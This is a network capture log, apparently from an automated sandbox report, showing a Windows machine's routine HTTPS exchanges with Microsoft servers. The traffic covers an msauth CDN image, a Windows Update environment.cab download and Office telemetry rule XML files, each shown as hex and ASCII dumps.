2024-11-18 23:01:30 UTC	417	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:31 UTC	805	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:31 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: b31c827f-601e-0075-1b33-36dfc5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T230131Z-16547b76f7fwm7vghC1DFW900s000000041g00000000e5bh x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:01:31 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49777	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:09 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YKWnBYS7D2bO6mt&MD=h95YpyFg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 23:02:09 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 0e6e3b4c-298b-46df-a1ff-ee044cc4d17a MS-RequestId: 6bf3176c-66b6-4fde-9a9f-cd9a1703d881 MS-CV: r5zgrM4LTkKUpcxm.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 23:02:08 GMT Connection: close Content-Length: 30005
2024-11-18 23:02:09 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-18 23:02:09 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49778	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:09 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:10 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:10 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: f97c396d-d01e-007a-478a-38f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230210Z-164f84587bfdt5l2hC1DFW88gs00000004wg0000000016sd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:10 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-18 23:02:10 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-18 23:02:10 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-18 23:02:10 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-18 23:02:10 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-18 23:02:10 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-18 23:02:10 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-18 23:02:11 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-18 23:02:11 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-18 23:02:11 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49781	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:12 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:12 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230212Z-16547b76f7fl5zvnhC1DFWtk9g00000004xg000000008hut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:12 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49782	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:12 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:12 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 853470f3-401e-0029-2d00-3a9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230212Z-17cf5b775c4jcv75hC1DFW1gm000000000cg000000005eta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:12 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49783	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:12 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:12 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:12 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230212Z-16547b76f7fljddfhC1DFWeqbs000000079g00000000e65q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:12 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 